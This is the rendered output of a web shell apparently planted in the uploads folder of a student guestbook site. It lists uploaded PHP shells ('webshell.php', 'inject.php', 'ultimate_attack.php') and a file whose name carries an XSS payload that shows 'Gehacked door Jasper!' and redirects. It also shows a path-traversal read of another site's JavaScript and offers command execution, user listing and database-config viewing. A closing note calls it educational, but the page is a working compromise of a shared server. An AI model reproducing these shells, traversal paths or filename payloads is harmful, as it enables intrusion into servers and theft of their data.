🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../assets/../../../587164.klas4s23.mid-ica.nl/public_html/technowire/script.JS

// ===== Clean Website JS with Scroll Animations =====

// ===== Navigation Scroll Effect =====
const nav = document.querySelector('.nav');

window.addEventListener('scroll', () => {
    if (window.scrollY > 50) {
        nav.style.boxShadow = '0 2px 20px rgba(0, 0, 0, 0.08)';
        nav.classList.add('scrolled');
    } else {
        nav.style.boxShadow = 'none';
        nav.classList.remove('scrolled');
    }
});

// ===== Smooth Scroll =====
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
    anchor.addEventListener('click', function(e) {
        e.preventDefault();
        const target = document.querySelector(this.getAttribute('href'));
        if (target) {
            target.scrollIntoView({
                behavior: 'smooth',
                block: 'start'
            });
        }
    });
});

// ===== Stats Counter Animation =====
const stats = document.querySelectorAll('.stat-number');
let statsAnimated = false;

function animateStats() {
    stats.forEach((stat, index) => {
        const target = parseInt(stat.getAttribute('data-target'));
        const duration = 2000;
        
        setTimeout(() => {
            const startTime = performance.now();
            
            const updateCount = (currentTime) => {
                const elapsed = currentTime - startTime;
                const progress = Math.min(elapsed / duration, 1);
                // Ease out cubic
                const easedProgress = 1 - Math.pow(1 - progress, 3);
                const current = Math.floor(easedProgress * target);
                
                stat.textContent = current;
                
                if (progress < 1) {
                    requestAnimationFrame(updateCount);
                } else {
                    stat.textContent = target;
                }
            };
            
            requestAnimationFrame(updateCount);
        }, index * 200); // Stagger each stat
    });
}

// Intersection Observer for stats
const statsSection = document.querySelector('.hero-stats');
const statsObserver = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting && !statsAnimated) {
            statsAnimated = true;
            animateStats();
        }
    });
}, { threshold: 0.5 });

if (statsSection) {
    statsObserver.observe(statsSection);
}

// ===== Enhanced Scroll Reveal Animation =====
const revealElements = document.querySelectorAll('.timeline-item, .silicon-card, .feature, .section-header, .about-text, .code-window, .terminal-window, .legend-card');

const revealObserver = new IntersectionObserver((entries) => {
    entries.forEach((entry) => {
        if (entry.isIntersecting) {
            entry.target.classList.add('revealed');
        }
    });
}, {
    threshold: 0.1,
    rootMargin: '0px 0px -80px 0px'
});

revealElements.forEach((el, index) => {
    el.classList.add('scroll-reveal');
    el.style.transitionDelay = `${(index % 4) * 0.1}s`;
    revealObserver.observe(el);
});

// ===== Staggered Grid Animation =====
const gridContainers = document.querySelectorAll('.silicon-grid, .features-grid');

gridContainers.forEach(container => {
    const gridObserver = new IntersectionObserver((entries) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                const children = entry.target.children;
                Array.from(children).forEach((child, i) => {
                    setTimeout(() => {
                        child.classList.add('revealed');
                    }, i * 150);
                });
            }
        });
    }, { threshold: 0.2 });
    
    gridObserver.observe(container);
});

// ===== Timeline Animation =====
const timelineItems = document.querySelectorAll('.timeline-item');

const timelineObserver = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.classList.add('timeline-revealed');
            
            // Animate the marker
            const marker = entry.target.querySelector('.marker-dot');
            if (marker) {
                marker.classList.add('marker-active');
            }
        }
    });
}, { threshold: 0.3, rootMargin: '0px 0px -100px 0px' });

timelineItems.forEach(item => {
    timelineObserver.observe(item);
});

// ===== Section Title Animation =====
const sectionTitles = document.querySelectorAll('.section-title, .section-subtitle');

const titleObserver = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.classList.add('title-revealed');
        }
    });
}, { threshold: 0.5 });

sectionTitles.forEach(title => {
    title.classList.add('title-animate');
    titleObserver.observe(title);
});

// ===== Fade Up Animation for Hero Elements =====
const heroElements = document.querySelectorAll('.hero-badge, .hero-title, .hero-description, .hero-cta, .hero-stats');

heroElements.forEach((el, index) => {
    el.style.opacity = '0';
    el.style.transform = 'translateY(30px)';
    
    setTimeout(() => {
        el.style.transition = 'all 0.8s cubic-bezier(0.16, 1, 0.3, 1)';
        el.style.opacity = '1';
        el.style.transform = 'translateY(0)';
    }, 300 + (index * 150));
});

// ===== Legends Carousel =====
const legendCards = document.querySelectorAll('.legend-card');
const carouselDots = document.querySelectorAll('.carousel-dots .dot');
const prevBtn = document.querySelector('.carousel-btn.prev');
const nextBtn = document.querySelector('.carousel-btn.next');

let currentLegend = 0;

function showLegend(index) {
    legendCards.forEach((card, i) => {
        card.classList.remove('active');
        card.style.display = 'none';
        carouselDots[i]?.classList.remove('active');
    });
    
    legendCards[index].classList.add('active');
    legendCards[index].style.display = 'grid';
    carouselDots[index]?.classList.add('active');
    currentLegend = index;
}

if (prevBtn && nextBtn) {
    prevBtn.addEventListener('click', () => {
        const newIndex = currentLegend === 0 ? legendCards.length - 1 : currentLegend - 1;
        showLegend(newIndex);
    });
    
    nextBtn.addEventListener('click', () => {
        const newIndex = currentLegend === legendCards.length - 1 ? 0 : currentLegend + 1;
        showLegend(newIndex);
    });
}

carouselDots.forEach((dot, index) => {
    dot.addEventListener('click', () => showLegend(index));
});

// Auto-rotate carousel
setInterval(() => {
    const newIndex = currentLegend === legendCards.length - 1 ? 0 : currentLegend + 1;
    showLegend(newIndex);
}, 5000);

// ===== Terminal Typing Effect =====
const typingText = document.getElementById('typing-text');
const terminalOutput = document.getElementById('terminal-output');

const command = 'git log --oneline -5 history';

const outputs = [
    `<div class="output-line"><span style="color: #fbbf24">a1b2c3d</span> <span style="color: #38bdf8">feat:</span> Added TypeScript (2012)</div>`,
    `<div class="output-line"><span style="color: #fbbf24">e4f5g6h</span> <span style="color: #38bdf8">feat:</span> Added JavaScript (1995)</div>`,
    `<div class="output-line"><span style="color: #fbbf24">i7j8k9l</span> <span style="color: #38bdf8">feat:</span> Added Python (1991)</div>`,
    `<div class="output-line"><span style="color: #fbbf24">m0n1o2p</span> <span style="color: #38bdf8">feat:</span> Added C++ (1983)</div>`,
    `<div class="output-line"><span style="color: #fbbf24">q3r4s5t</span> <span style="color: #4ade80">init:</span> Initial commit - Fortran (1957)</div>`,
];

let charIndex = 0;
let isTyping = false;

function typeCommand() {
    if (charIndex < command.length) {
        typingText.textContent += command[charIndex];
        charIndex++;
        setTimeout(typeCommand, 50);
    } else {
        setTimeout(() => {
            document.querySelector('.terminal-line .cursor').style.display = 'none';
            terminalOutput.innerHTML = outputs.join('');
        }, 300);
    }
}

// Start typing when terminal section is visible
const terminalSection = document.querySelector('.terminal-section');
const terminalObserver = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting && !isTyping) {
            isTyping = true;
            setTimeout(typeCommand, 500);
        }
    });
}, { threshold: 0.3 });

if (terminalSection) {
    terminalObserver.observe(terminalSection);
}

// ===== Active Nav Link =====
const sections = document.querySelectorAll('section[id]');
const navLinks = document.querySelectorAll('.nav-link');

window.addEventListener('scroll', () => {
    let current = '';
    
    sections.forEach(section => {
        const sectionTop = section.offsetTop - 150;
        const sectionHeight = section.offsetHeight;
        
        if (window.pageYOffset >= sectionTop && window.pageYOffset < sectionTop + sectionHeight) {
            current = section.getAttribute('id');
        }
    });
    
    navLinks.forEach(link => {
        link.classList.remove('active');
        const linkHref = link.getAttribute('href');
        if (linkHref === `#${current}`) {
            link.classList.add('active');
        }
    });
});

// ===== Page Load =====
document.body.style.opacity = '1';

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!